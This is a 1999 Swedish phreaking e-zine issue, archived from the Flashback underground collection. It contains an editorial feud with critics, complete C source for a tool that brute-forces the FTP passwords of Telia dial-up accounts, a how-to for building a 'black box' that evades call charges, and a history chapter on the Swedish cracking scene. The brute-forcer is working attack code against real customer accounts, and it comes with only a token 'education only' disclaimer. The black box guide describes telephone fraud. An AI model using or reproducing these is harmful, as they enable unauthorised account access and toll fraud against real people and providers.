OBS! Denna textfil ingår i ett arkiv som är dedikerat att bevara svensk undergroundkultur, med målsättningen att vara så heltäckande som möjligt. Flashback kan inte garantera att innehållet är korrekt, användbart eller baserat på fakta, och är inte heller ansvariga för eventuella skador som uppstår från användning av informationen.
___________ __ __ ___________ _________ __________ ___ ___ | _____ | | | | | | _____ | | | | ______ | | | / | | | | | | | | | | | | | | _____| | | | | | | / / | |_____| | | |__| | | |_____| | | |_____ | |______| | | |/ / | _______| | | | _______| | _____| | ____ | | / | | | __ | | |\ \ | | | | | | | |\ \ | | | | | | | | \ \ | |_____ | | | | | | \ \ | | | | | | | | | | | | | | | | | | | | |___| |__| |__| |___| |__| |_________| |__| |__| |___| |__| ________________ _____________ ________________ | __________ | | | | __________ | | | | | | |-----| | | | | | | | | | |___| / / | | | | | | | | / / | | | | | | | | / / | | | | | | | | / /_______ | | | | | |__________| | / | | |__________| | |________________| |______________| |________________| Nummer 8 - 1999-05-15 .-------. Innehåll '-------' ¤ Ledare ¤ Kritik ¤ Source Code - Phelia.c ¤ BlackBoxing ¤ Copyright finns inte 2.0 - Subkulturernas Subkultur .-----. Ledare '-----' Black boxing fungerar ju inte sen man började köra med AXE påstår MeglaW, men conceptet för detta zine är ju information wants to be free. Så jag tar med min black boxing text. Vissa påstår ju att detta funkar också, beroende på var man bor. BTW såg en japanare med en svart påse på förut i veckan, när jag kollade närmare så såg jag att locket låg vid sidan av japanaren =). Ja nu har man varit med i Mr Headache's Underground #17 också... Jävla Fascist zine... Manelius & C:o har ju varit smarta som får åka in på snutförhör för sin phreaking runda. Hoppas han refererar till Phreak 020 om han kommer med i någon tidning =). Japp, jag släpper ju 3-4 nummer i månaden. Om du åker fast för att ha prövat något illegalt härifrån så referera gärna till zinet =), men det är inte vårt fel att du åker fast. Det är ju en fördel om du läser detta zine i edit eller något annat program som kan läsa DOS text(inte notepad). Let's Phreak... Denna gång i zinet kollar vi på följande Kritik, Source Code, Black Boxing och Copyright finns inte 2.0. .-----. Kritik '-----' Har ju fått dålig och bra kritik för Phreak 020. Mestadels dålig... =( Ur Mr Headache's Underground #17, som är skrivet i notepad: Artikeln om telemonitorn "av" Electrodeath var stulen så det sjöng om det från The Library av Thallion. Jag tyckte mig ha sett ASCII-bilden förr och det hade andra läsare också gjort. Hönder det igen att någon skickar in en stulen artikel så reagera förfan! Det är nog det värsta som finns när nollor med IQ 30 sitter och klipper ihop ett "eget illajta" zine. Till exempel har det kommit upp en del taskiga kopior på Zineworld, en är "Phreak020". Bara namnet avslöjar författarens brist på fantasi. Bara rippade artiklar rätt igenom. Hade jag varit Zitech (vilket jag INTE är, jag är INTE heller ninJai, vilket vissa trodde och skickade massor med tiggarbrev om shellkonton... nåja... var var jag? :) skulle jag ha plockat bort eländet genast. Nog med skitsnack, men en sak ska alla ha klar för sig. Vi har kapaciteten att släppa många fler nummer, och jag har ALDRIG haft några planer på att lägga ner. Svar direkt: Jag kan ge ett komplext svar och ett mindre komplext svar. Med tanke på att dessa fascister inte har till räckligt med hjärn kapacitet att förstå ordet komplex innebörd, så tar jag det icke komplexa svaret först: Information Wants to Be Free, när jag skapade zinet så hade jag inte tänkt skrivit så mycket själv. Det komplexa svaret: Fascistiska tendenser finns överallt i samhället. Speciellt inom Zine världen verkar det som. En ska som betecknar fascister är att dom inte kan acceptera andras åskiter och värderingar, bara för att nämna några namn: MeglaW, Electrodeath, Mr Headache, co14 och många fler. Dessa människor anser att dom har rätten till att styra över olik tänkande och att dessa ska dö. Det är också svårt att få ihop ett zine om man bara är en person, tänk bara på VSU. Hur ofta kommer VSU ut? Sällan... och här ska jag ha 3-4 nummer i månaden. BTW så är ju dessa personer inte IRCopar/Net admins/Co-Founders på ett irc nät. Dessa personer får lov att trade/carda shell accounts, medans jag just har fått ett unlimited shell. Fascisterna Marscherar Igen... co14: Har du frågat MeglaW om du får använda hans bilder, jag har också kollat på er fula sida... Svar: Er? Er?? Er! Det är ju bara jag! Wannabe! Copyright, haha! Man får ju kopiera bilder och sätta upp hur man vill, för Copyright lagen existerar i min mening inte på internet! Som allas vår Wannabe MeglaW skulle ha sägt: BÖÖÖT Undrar vilken idiot det är som går omkring och säger så! Troligen en jävla knös från Djursholm eller någon sådant rikemans place. CoreWarp: Hmm, det är ett jävla rippzine men insiativet är bra.... Svar: Det tackar jag för =) Prolet: Hmm, jag måste skriva lite och göra zinet dräglit... Svar: Egoismen är ju en stark drivkraft =), men gärna för mig... Cartman: Jävla Rippzine! Control + A, Control + C och Control + V! Svar: Jaha? Gör det bättre själv då, och då ska ingen hjälpa dig med artiklarna heller! Gizmo: Ripper! Svar: Se Cartmans svar... Manelius & Han polare: Jävla bra zine! Jag premunerar ju på Phreak 020 för att jag tycker det är bra! Svar: Mer av det tack =) Kom ihåg att Information Wants to Be Free, och läs the jargon file och cyberpunk litteratur så kanske du också blir smart som jag. .---------------------. Source Code - Phelia.c '---------------------' Snott från KBB #15, för att på minna om den tid då Phreaka 020 var lätt som en plätt... Typ en hyllning till den tid som var! Ett litet program phelia.c, exempel kod i C som kan göra diverse saker som visar hur man skulle kunna verifiera ett lösenord, generera ett lösenord eller rent av testa alla möjliga lösenord mot en server (om man, av någon anledning, glömt sitt lösenord), för att på så vis få tillgång till sin email igen. Algoritmen som används i programmet finns förklarad i FNA #97 /* ------- phelia.c --------(C) Copyright 1998 noupe @ #hack.se [noupe@iname.com] phelia password generator/validator/hacker Med det här programmet kan du: Validera ett existerande lösenord. Generera ett slumpmässigt lösenord. Generera alla möjliga lösenord, och skriva ut dem. Brute force hacka ett lösenord. Compile w/: gcc -o phelia phelia.c [in Linux for example ] bcc phelia.c [in Win/DOS w/ Borland c compiler ] Note! For education purpose only... Do not use this proggie */ #define _Version "1.0" /* #define Use_In_Linux /* Define this to enable bruteforce hacking */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #ifdef Use_In_Linux #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> int opensock(char *server, int port); char *brute(char *login); void generate_pass(int *c, int *i, char *dest); int stat(void); void getbuf(char *buf); char host[20], login[20], zon[4], *hacked_pass; int s; fd_set sfds; #endif void banner(void); short check_args(int ac, char *av[]); void print_all(void); void validate(char *pw); void generate_random(void); void calloc_error(void); short bit(int flag, int c); void usage(char *proggie); /* *********** Globala variabler *********** */ char password[9]; struct password_table { /* Tabellstrukturen */ char cur; /* Aktuellt tecken */ char next[2]; /* Nästa möjliga tecken */ } table[37] = { { '2', "6Y" }, { '3', "7Y" }, { '4', "7a" }, { '5', "8a" }, { '6', "8b" }, { '7', "9b" }, { '8', "9c" }, { '9', "Ac" }, { 'A', "Ad" }, { 'B', "Bd" }, { 'C', "Be" }, { 'D', "Ce" }, { 'E', "Cf" }, { 'F', "Df" }, { 'G', "Dg" }, { 'H', "Eg" }, { 'K', "Eh" }, { 'M', "Fh" }, { 'N', "Fp" }, { 'P', "Gp" }, { 'Q', "Gq" }, { 'R', "Hq" }, { 'X', "Hr" }, { 'Y', "Kr" }, { 'a', "Kx" }, { 'b', "Mx" }, { 'c', "My" }, { 'd', "Ny" }, { 'e', "N2" }, { 'f', "2P" }, { 'g', "3P" }, { 'h', "3Q" }, { 'p', "4Q" }, { 'q', "4R" }, { 'r', "5R" }, { 'x', "5X" }, { 'y', "6X" } }; int main(int argc, char *argv[]) { short Flag; banner(); Flag=check_args(argc, argv); switch (Flag) { #ifdef Use_In_Linux case 0: opensock(host, 21); //sockfp=fdopen(s,"rt"); hacked_pass=brute(login); printf("\nFound password for account '%s'.\n", login); printf("Login: %s\n", login); printf("\aPassword: %s\n", hacked_pass); printf("That's it. Remember, don't use that account!\n"); break; #endif case 1: generate_random(); break; case 2: print_all(); break; case 3: validate(password); break; default: exit(0); } return 13; /* Fredagen den 13:e idag =] */ } /* ************ Some functions ************ */ void banner(void) { printf("_____________________________________\n"); printf("phelia v%s by noupe/#hack.se |\n", _Version); printf("----------- |\n"); printf("phelia password generator/validator |\n"); printf("``````````````````````````````````````\n"); } short check_args(int ac, char *av[]) { if ((ac > 4) || (ac < 2)) usage(av[0]); #ifdef Use_In_Linux if ((av[1][0] == '-') && (av[1][1] == 'b')) { if (ac != 4) usage(av[0]); strcpy(zon,av[2]); strcat(strcat(strcpy(host,"w1."),zon), ".telia.com"); strcpy(login,av[3]); return 0; } #endif if ((av[1][0] == '-') && (av[1][1] == 'g')) return 1; if ((av[1][0] == '-') && (av[1][1] == 'p')) return 2; if ((av[1][0] == '-') && (av[1][1] == 'v')) { if (ac != 3) usage(av[0]); strcpy(password,av[2]); return 3; } return -1; } void usage(char *proggie) { printf("\nUsage: %s [-b <zon> <login>] [-v <password>] [-g]\n", proggie); #ifdef Use_In_Linux printf("\t-b <zone> <login>\tHack this account <login>\n"); #endif printf("\t-g\t\t\tGenerate a random password\n"); printf("\t-p\t\t\tPrint all possible passwords\n"); printf("\t-v <password>\t\tValidate <password>\n"); exit(0); } void print_all(void) { int c, i, j, iTable; char *pw; for(i=0;i<37;i++) { for(c=0;c<256;c++) { if ((pw=(char*)calloc(9, sizeof(char))) == NULL) calloc_error(); pw[0]=table[i].cur; for(j=1;j<8;j++) { for(iTable=0;((table[iTable].cur!=pw[j-1])||(i>37));iTable++); pw[j]=table[iTable].next[bit(j,c)]; } printf("%s\n", pw); free(pw); } } } void validate(char *pw) { int i,j; for (j=0;j<7;j++) { for(i=0;((table[i].cur != pw[j]) || (i>37));i++); if (pw[j+1] != table[i].next[0]) if (pw[j+1] != table[i].next[1]) { printf("The password '%s' is invalid\n", pw); exit(0); } } printf("The password '%s' is valid\n", pw); } void calloc_error(void) { puts("calloc() error! Not enough free mem?"); exit(1); } /* Klart man blir förvånad när man kommer på en sån här elajt funktion *stolt* */ short bit(int flag, int c) { switch(flag) /* Sätt flaggan till rätt värde */ { case 3 : flag = 4; break; /* Värde för att testa bit 3 */ case 4 : flag = 8; break; /* Värde för att testa bit 4 */ case 5 : flag = 16; break; /* Värde för att testa bit 5 */ case 6 : flag = 32; break; /* Värde för att testa bit 6 */ case 7 : flag = 64; break; /* Värde för att testa bit 7 */ case 8 : flag = 128; break; /* Värde för att testa bit 8 */ default : break; } if ((c & flag) == flag) return 1; /* Om skiten e satt, returnera en etta */ return 0; /* ...annars en nolla */ } void generate_random(void) { char *pw; int i, iTable; time_t t; srand((unsigned) time(&t)); /* Initiering av rand() funktionen */ if ((pw=(char*)calloc(9,sizeof(char))) == NULL) calloc_error(); pw[0]=table[rand()%37].cur; for(i=1;i<8;i++) { for(iTable=0;table[iTable].cur!=pw[i-1];iTable++); pw[i]=table[iTable].next[rand()%2]; } printf("Random phelia password -> %s\n", pw); free(pw); } #ifdef Use_In_Linux void generate_pass(int *c, int *i, char *dest) { int iTable, j; if(*i!=37) { if(*c!=256) { dest[0]=table[*i].cur; for(j=1;j<8;j++) { for(iTable=0;((table[iTable].cur!=dest[j-1]));iTable++); dest[j]=table[iTable].next[bit(j,*c)]; } (*c)++; } if (*c==256) { (*i)++; *c=0; } } } char *brute(char *login) { int c=0, found=0, i=0, j; char pass[9], *buf; for(j=0;j<9;j++) pass[j]='\0'; if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error(); getbuf(buf); /* Läsa motd */ free(buf); while (!found) { if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error(); sprintf(buf, "USER %s\n", login); write(s, buf, strlen(buf)); free(buf); generate_pass(&c, &i, pass); printf("Trying with %s/%s\n", login, pass); if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error(); getbuf(buf); free(buf); if ((buf=(char *)calloc(256, sizeof(char))) == NULL) calloc_error(); sprintf(buf, "PASS %s\n", pass); write(s, buf, strlen(buf)); free(buf); if ((buf=(char *)calloc(512, sizeof(char))) == NULL) calloc_error(); getbuf(buf); if (strstr(buf,"logged")) found=1; /* Loggade vi in? */ free(buf); } close(s); return strdup(pass); } int opensock(char *server, int port) { struct sockaddr_in sin; struct hostent *he; if ((s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(1); } bzero((char *)&sin,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_addr.s_addr=inet_addr(server); sin.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); else if ((sin.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); exit(1); } if (connect(s,(struct sockaddr *)&sin,sizeof(sin))==-1) { perror("connect()"); close(s); exit(1); } return s; } int stat(void) { struct timeval tv; fd_set blah; int stat; FD_ZERO(&blah); FD_SET(s,&blah); tv.tv_sec=1; /* Vänta högst 1 sekund innan vi går vidare */ tv.tv_usec=0; stat=select(s+1,&blah,NULL,NULL,&tv); if (stat) return 1; else return 0; } void getbuf(char *buf) { for(;;) { if(stat()) read(s,buf,255); else break; printf("buf: %s\n", buf); } } #endif //noupe .----------. BlackBoxing '----------' Ännu en ny och rolig box för att lura phelia(dom med 020 konton =))... En blackbox är en liten box som kopplas in mellan en telefon och telefon- utagget. BTW är blackboxen en svensk uppfinning som uppfanns på åttiotalet av Nils Johan Alsätra. När det ringer och du svarar gör blackboxen att phelia inte märker av att samtalet har påbörjats och den som ringer dig slipper betala. Det som en black box egentligen gör är att öka och minska voltstyrkan... För er som inte vill göra en själv så finns det fol som säljer black boxar. Det är dock inte säkert att den funkar i ditt område. Man bör enligt visa texter inte prata mer än en hlavtimme med blackboxen, eftersom risken att bli spårad finns... BTW ställ dig inte upp och skrik "Vill vi ha en tjock statsminister" på mcDonalds, samtidigt som du pekar på en bild med Göran Persson i en tidning. Jag har ju själv provat, det uppskattades INTE! =) Och nu.... Celsius How-To BlackBox! How-To: Material: 1 telefon 1 resistor på 4.7k eller 4.9k ohm 5%(funkar bäst med 4.9k, annars kanske du måste använda två 4.7k. En 4.7k kan oxå göra att du kan tala i 25 sek typ) Före: x = kabel +--------------+ ¦ Telefon ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ 0 0 0 1 ¦ X X X X X X X X X X X X X X X X X X X X Nu ska vi modifiera kabel 1 =). Det behöver inte alltid vara kabeln längst till höger men det är vanligast. Dela kabelen i två bitar. Sätt resistorn mellan dom två kabel bitarna. Löd sedan ihop kabelbitarna med resistorn, och sätt ihop telefonen. Efter: R = Resistor X = kabel +--------------+ ¦ Telefon ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ 0 0 0 1 ¦ X X X X X X X R X X X X X X X X X X X X För att se om den funkar sätt i telefonjacket i väggen, lyft sedan på luren Om du får ett svagt ljud som svar då är Steg 1 klart. Be sedan någon kompis ringa dig eller använd din mobil. Om telefonen inte ringer men det går att prata med din kompis/mobil när du lyft på telefonen, plus att du hör dom vanliga puls tonern i bakgrunden då har du lyckats. //Celsius .--------------------------------------------------. Copyright finns inte 2.0 - Subkulturernas Subkultur '--------------------------------------------------' Här är den femte delen till den kända boken Copyright finns inte, Version 2.0. För att kunna läsa den så används en speciel teknik för att markera fetta ord och kursiva ord. Om ett ord markers med _understreck_ så betyder det att ordet är i fett stil, och är det *stjärnor* runt ett ord betyder det att ordet är kursivt. Det kommer komma ett nytt kapitel i varje nummer tillsvidare... Bokens hemsida är: http://www.df.lth.se/~triad/book/ _SUBKULTURERNAS SUBKULTUR_ Det som började på MIT och sedan spred sig ut i världen med hemdatorerna och datanätverken har nått oss på ett sätt som gjort att vi knappt kan känna igen fenomenet som det som fick de amerikanska undomarna att slita dagar och nätter med sina *hack*. Hackarna invaderade de svenska hemmen - men inte många insåg att de fått hackare i hemmet. Nästan ingen anade att deras söner (och i något fall döttrar) genom att tillbringa några timmar framför en skärm kunde influeras av en datorkultur med rötterna i de amerikanska högskolorna. Och jag skriver Commodore 64-historia, för det var där allt började om vi ser till Sverige. Den för sin tid (1984) riktigt avancerade C64:an hade inlett sin blomningstid; hundratusentals ungdomar i USA, Europa och Australien satt med sina brödburksliknande datorer och fascinerades över möjligheterna den erbjöd. C64:an var precis som Apple II och Atari 800 datorerna byggd kring mikroprocessorn 6502 från kretstillverkaren _MOS_ (som än idag används i t ex Nintendos TV-spel), och därför såg många Apple- och Atari-ägare det som ett naturligt steg att gå över till C64. Till en början var de flesta program, företrädelsevis spel, som kom till datorn ganska simpla med usel grafik och pipigt ljud som påminde om det som alstras av en internhögtalare i en PC utan ljudkort, men vid någon punkt nådde marknaden en magisk gräns, där så många C64 maskiner var sålda att det lönade sig att bygga upp företagsverksamhet enbart med syftet att producera program och spel till denna hemdator. Detta hade tidigare skett kring Apple och Atari i USA, men eftersom C64:an var den första riktigt stora europeiska hemdatorn var detta något helt nytt på denna sida Atlanten. De första företagen dök upp i England, som var det land som först importerade C64:an, och blev ett europeiskt föregångsland inom datorkultur. Det var *spelen* med sin för tiden riktigt avancerade grafik och hyfsade ljud som piratkopierades och spreds över det som skulle komma att bli den sk *Scenen.* Scenen, ett slags virtuellt samhälle, hade uppstått i USA runt 1979 och då var det spel till Apple och Atari som gällde. Programföretagen var förbannade och kallade dem pirater och brottslingar. Pirat BBS:er för hemdatorer, oftast bestående av en Apple II och programmet *ASCII Express Professional*, hade vuxit upp som svampar ur marken och ytterligare spätt på den underjordiska hackar- och phreakarrörelsen med sina egna elektroniska tidningar och värderingar. Den mest ökända BBS:en var _Pirates Harbour_, som drevs av _Red Rebel_, med så prominenta användare som _Mr Xerox_ och _Krakowicz_, bägge namnbekanta knäckare. I Sverige hade en tid innan C64:ans intåg hade en liten, tätt sammanhållen skara Apple II-entusiaster, parallellt med att ABC-klubben vuxit fram som en representativ och salongsfäig datorklubb, drivit ett underjordiskt nätverk där _Captain Kidd_, _Mr Big_, _Mr Sweden_, _TAD_, _TMC_ (The Mad Computerfreak) och en del andra ingick. Eftersom det inte fanns någon inhemsk marknad för Apple II-mjukvara i Sverige hade de importerat och knäckt spel från USA som de sedan delade på. De hade även kontakter med den ökända amerikanska Apple II-underjorden och dess BBS:er. De flesta av dem bytte sedemera upp sig till C64, och med dem föddes den svenska Scenen. Begreppet *Scen* är här det samma som en teater- eller musikscen. En scen är något man går upp på för att visa vad man kan, inte för att förtjäna sitt uppehälle eller dominera andra. Scener förekommer inom nästan alla kulturella områden, och fascinerande nog också inom en del teknologiskt-kulturella domäner som bland radioamatörer, modellflygplansentusiaster och hackare. Det som skiljer hemdatorscenen från andra scener är att den kolliderade med kommersiella intressen och på det viset kom att bli betraktad som en farlig och kriminell subkultur. Scenen, med stort S, är alltså en beteckning på den stora grupp av användare som utbyter företrädelsevis spelprogram och senare (som vi skall se) även sk demoprogram. Tanken var enkel: varför köpa ett spel för 150 kronor om jag kan kopiera det gratis av grannen? Verksamheten var givetvis olaglig, men den låg (vilket de flesta också insåg) på samma nivå av olaglighet som att kopiera grannens vinylskivor till kassettband, med det enda undantaget att kopian inte förlorade kvalité och kunde fortsätta att reproduceras i hur många led som helst. En kopia av en kopia av en ko... ja, ni vet, är alltså identisk med originalet. Åklagare som den svenska pionjären _Christer Ström_ i Kristianstad och hans kolleger runt om i världen har till viss del lyckats hindra den affärsmässiga och massdistribuerade spridningen av dessa kopior, men den sk *privat*-kopieringen lever fortfarande i högönsklig välmåga, även om den för ögonblicket har stoppats upp något av det faktum att moderna spel till framför allt PC-maskiner levereras på CD-skivor och därmed inte är så lätta att kopiera. (Om de trots allt kopieras fyller de kanske ett 50-tal disketter vilket gör det hela ganska ohanterligt och dyrbart.) Man köper hellre originalen än lägger ned timmatal på kopiering. (Mer om detta längre fram.) Sedan den 1 januari 1993 är all kopiering av upphovsrättsligt skyddad programvara, även till vänner etc, förbjuden i svensk lag. Ingen individ har dock dömts för att ha kopierat program till sina kompisar. Brottet är som sagt jämförbart med att kopiera skivor eller videofilmer, inte räcka ut handen när man cyklar runt ett gathörn etc etc. Så länge man inte massdistribuerar piratkopierad programvara kan man nog vara ganska lugn. Men det skall inte jag sitta här och säga, det är ju fruktansvärt politiskt inkorrekt. Nåväl (tillbaks till 1984), de personer som tog bort de ofta nästan obefintliga kopieringsskydden från spelen, de sk *Knäckarna* (eng: Crackers), kom på den förträffliga idén att skriva sitt namn eller *pseudonym* (eng: *handle*) på en skärm före spelet. Fenomenet är som så mycket annat i hackarvärlden till sin art besläktat med *graffitti*. Om vi beaktar att en sådan kopia kunde nå tiotals tusen eller fler personer (säkert fler än vad som iakttar en sprayad betongvägg) så förstår vi varför detta blev så populärt. Hackare som gick under pseudonymer som _Mr Z, TMC _(The Mercenary Cracker)_, WASP _(We Against Software Protection),_ Radwar, Dynamic duo_* *eller _CCS_ (Computerbrains Cracking Service) florerade på skärmarna. Bakom dessa namn dolde sig ibland enskilda hackare och ibland löst sammanhållna grupper. I Amerika fanns det redan etablerade och välorganiserade hackargrupper som inte gjorde annat än knäckte spel, men i Sverige och övriga Europa var fenomenet helt nytt. Den underjordiska hackarrörelsen började byggas upp från grunden, speciellt i storstäderna där det fanns gott om hackare som möttes på olika datorklubbar och utbytte erfarenheter och kopierade program. Hemdatorn som medium hade enorm genomslagskraft, och ett flertal hackargrupper som bara sysslade med att avlägsna kopieringsskydd från spel, samt komprimera och distribuera den färdiga *produkten* (eng: *wares*), uppstod på kort tid. Bland de allra första grupperna fanns exempelvis den amerikanska gruppen _Elite Circle_ med rötter inom såväl hackar- som phreakarkulturen och som redan tidigare drivit BBS:er med piratkopierad mjukvara till såväl Atari 800 som Apple II. Hela idén att knäcka och sprida spel kom från USA där det börjat med ett program som hette _Locksmith_ till Apple II, som kunde ta bort kopieringsskyddet från programmen med hjälp av vissa parametrar. Till en början nöjde man sig med att byta parametrar till detta program, senare var man tvungen att lägga ned mer arbete på själva knäckandet, och knäckaren var själv tvungen att vara programmerare. Hackarna gjorde detta för att de var förbannade på att programvaruföretagen lade in kopieringsskydd som hindrade dem från att snoka i programmen på egen hand, kopiera dem och ge dem till sina vänner. De ville att informationen skulle vara fri. Detta var den verkliga orsaken, även om man gärna tog till bortförklaringar i stil med: *"Programmen är för dyra, Jag kopierar bara program jag ändå inte skulle ha råd att köpa, Jag vill testa programmet innan jag köper det"* osv, som bara till viss del var sanna. Det grundläggande idealet var att information *inte kunde* ägas, och att man *inte ville* vara en del av någon mjukvaruindustri. Ett av de allra första programmen som piratkopierades, kanske det allra första någonsin, var *Altair BASIC* som levererades stansad på hålremsa till datorn med samma namn. BASIC betyder Beginners All-purpose Symbolic Instruction Code, dvs nybörjarens symboliska instruktionskod för allehanda syften, och Altair BASIC var skriven av ingen mindre än _Bill Gates_. Bakom kopieringen låg en av medlemmarna i Homebrew computer club i Silicon Valley, en hackare som senare kallade sig _Nightstalker_ (Dan Sokol) som skrev ett program som kopierade hålremsan och därmed blev världens första knäckare. Den då 19-årige Gates blev vansinnig och skrev ett argt brev till användargrupperna där han menade att det var stöld att kopiera ett program och att de som gjorde det förstörde branchen. De flesta tyckte att lille Bill var dum i huvudet; ingen hade någonsin tidigare försökt sälja datorprogram - det normala var att alla delade på allt. Till de stora datorsystemen följde programvaran med som en del av maskinen, och i den mån någon kopierade den var det ingen som brydde sig. Med hemdatorerna uppstod piratkopieringen, helt enkelt därför att det fanns mjukvaruföretag som ville sko sig på den nya hobbyn. Hobbyisterna själva bad aldrig om några mjukvaruföretag. Här måste vi också göra en viktig distinktion: hackare skiljer på vanlig kompiskopiering och *pirater*. Piraterna är inte kompisar, utan liksom dataföretagen personer som försöker slå mynt av piratkopieringen. Piraterna parasiterar såväl på hemdatorhackarna som bara vill ha lite spel, som på datorbranchen i allmänhet. *Både* hackare *och* dataföretag, distributörer etc, anser att pirater är *avskum*. Dataföretagen för att de stjäl deras inkomster, hackarna för att de skapar ett nytt beroendeförhållande som inte är ett dugg bättre än det gamla. Hackarna håller i allmänhet hårt på att kopiering är något man gör på vänskaplig basis, och *gratis*. Bara i något undantagsfall har hackare samarbetat med pirater för att exempelvis få tag i originalspel (idag kända under det mer kufiska namnet "licenser") att knäcka. Sveriges störste pirat någonsin, _Jerker_ (fingerat namn) en drygt 40-årig förtidspensionerad tvåbarnspappa i Knislinge utanför Kristianstad, hatades av såväl branchen som av hackarna själva, möjligen med undantag för gruppen _Xakk_ som under en period var beroende av piraten för att få tag på originalspel. Ryktet säger att han inte har gett sig än, utan fortfarande mer eller mindre lever på piratkopiering. Själv säger han sig vara ointresserad av datorer, och uppenbarligen stämmer det. Min gissning är att han är betydligt mer intresserad av pengar. Scenen 1986: I takt med att hackarna fördjupade sina programmeringskunskaper började introduktionsskärmarna före spelen att utvecklas och få flera dimensioner. Man hämtade inspiration från titelskärmar och sekvenser ur spel, och från att ha bestått av mest vertikalt rullande text tillfördes musik, utvecklad grafik, animationer och ett antal tekniska trick för att få det hela att se häftigare ut. En ny konstform som utövades av enbart programmerare, det sk *introt*, var född. Även om dessa uppstått redan på Apple II-tiden, och då i ganska enkla former, var det först på C64 som den avancerade maskinvaran tillät den att blomma ut. Grupper som _Eagle soft, Hotline, Comics Group, FAC_* *(Fedaration Against Copyright),_ Triad_ och _Fairlight_ översvämmade Scenen i mitten och slutet av åttiotalet. Några av grupperna startade egna BBS:er, elektroniska anslagstavlor, där tankar utbyttes och programmen spreds. Begreppet *elit* infördes som en beteckning på de grupper som var mest produktiva och hade flest kanaler att distribuera sina alster, framför allt till USA. Den europeiska delen av Scenen var sjukligt fixerad vid att snabbt få sina knäckta spel distribuerade till staterna, förmodligen en sorts lillebrorskomplex som berodde på att Scenen från början uppstått kring de amerikanska Apple II-datorerna och de mest erfarna hackarna de facto fanns där. Det var dem man ville imponera på med sina knäckta spel. Ju fler vänskapsband man hade med USA, desto mer elit var man. Kravet på öppna kanaler ledde till att flera hackare började attackera bland annat Internet och liera sig med de europeiska såväl som amerikanska phreakarna för att få loss öppna kanaler till väst. Phrekarna och nätverkshackarna kallade dessa nykomlingar från hemdatorvärlden för *Warez d00ds* (sv ung: *piratpolare*) eftersom de alltid kom springande med "varor" i form av piratkopierade spel. I sina egna led kallades de *traders* (handlare) eller uttryckligen *modem-traders*, eftersom de använde modem för att koppla upp sig till olika BBS:er. Till en början var det amerikaner som var insatta i phrekandets sköna konst som ringde upp olika europeiska knäckargrupper, senare var det européerna själva som började ringa till USA, hacka datorer på Internet osv. Så småningom ledde denna inbillade storebror i väster till att det europeiska hemdatorhackarna var totalt överlägsna de amerikanska i allt vad programmering och spelknäckning hette. Under 1987-88 började de amerikanska spelföretagen kopieringsskydda de spel de sålde till Europa, medan de lät bli att skydda de exemplar som såldes inom USA. Man fruktade de europeiska knäckargrupperna och speciellt Sverige nämndes som ett ovanligt farligt land. Man menade att en stor del av den piratkopierade programvara som spreds i Europa och USA härhörde från Sverige, och det var faktiskt sant. De flesta av dessa spel härhörde från en importbutik i Göteborg dit en svensk hackare kom en gång i veckan för att "testa" nya spel. Utan att butiksinnehavarna hade en aning om det, kopierade han spelen och skickade dem till olika svenska knäckare. Det dröjde inte länge förrän någon kom på idén att bryta loss introt från spelet och låta det stå för sig självt, kanske rent av fylla hela datorns minnesutrymme, och därmed uppstod de rena *demo*programmen (hädanefter kort *demo*), dedicerade åt grafiska och musikaliska uppvisningar samt teknisk exkvilibrism. De allra första demona var samlingar med musik från olika spel, oftast bara försedda med en enkel textskärm. Det var för det mesta samma grupper som tidigare sysslat med spelknäckning och intron som övergick till att delvis producera demon, men rena demogrupper uppstod också, t ex _1001 Crew, The Judges, Scoop_ eller _Ash & Dave_. Man byggde upp en egen jargong och ett eget skönhetsideal framför allt genom att byta program och erfarenheter via _Compunet_ i England som var ett enormt konferenssystem avsett enbart för hemdatorentusiaster, jämförbart med ABC-klubbens *Q-Zentral* här hemma i Sverige. Compunet blev en hård kärna i demogruppernas kretsar, men huvuddelen av programbytena skedde fortfarande via diskettbyten eller BBS:er. Senare, framför allt under 1988, var den underjordiska tidningen *Illegal* en slags kulturell knutpunkt för denna hastigt framväxande kultur. Snart skapades ideal beträffande vad som var bra och dåligt och den allmänt bekanta termen *lamer* (sv ung: *lamis*, slang) myntades som en beteckning för de som istället för att programmera själva, använde enkla presentationsprogram för att framställa demon. Uttrycket kommer antagligen ursprungligen från skateboardslang. Ordet *lamer* spred sig vida utanför hackarkretsarna och tillämpades snart på varje datormässig odugling. Många liknande slanguttryck har deriverats från Scenen, men refereras inte till denna källa i *The Jargon File*, som istället förmedlar en bild av de subkulturella hackarna (uteslutande kallade *warez d00ds*) som ogräs och oduglingar. Detta är både fördomsfullt och felaktigt. Att de amerikanska akademiska hackarna från MIT, Stanford och Berkely m fl betraktar hemdatorhackarna som mindre värda amatörer är ganska naturligt om man ser det hela ur amerikanskt perspektiv; där var alla hemdatorägande tonåringar i princip uteslutande intresserade av spel. Demon och Intron var primitiva och befann sig inte alls på samma nivå som de europeiska. Den amerikanska delen av Scenen var över huvud taget mycket mindre kulturell än den europeiska. De amerikanska hackarna var kraftigt influerade av phrekarkulturen och var därför uppkäftiga och aggressiva. Föraktet var ömsesidigt. En olycklig konsekvens av detta är att europeiska hackare som söker sin indentitet lätt tar åt sig de amerikanska idealen och tar över den lätt föraktfulla hållningen mot hemdatorentusiasterna. Det kan vara värt att påpeka att den breda kulturella hackarbasen i Europa utgjordes av hemdatorentusiasterna, och inte av små studentföreningar på högskolor, phreakare eller nätverkshackare. Den europeiska hackaridentiteten byggdes kring Commodores och Ataris hemdatorer, och det är också där den europeiska hackaren bör söka sina rötter. Sedan är det klart att det finns värderingar och traditioner som ärvts ned från de amerikanska högskolorna. En sak är dock tämligen säker: *de europeiska hemdatorhackarna utvecklade datorkonsten på ett sätt som aldrig skedde i Amerika*. Den breda skaran av 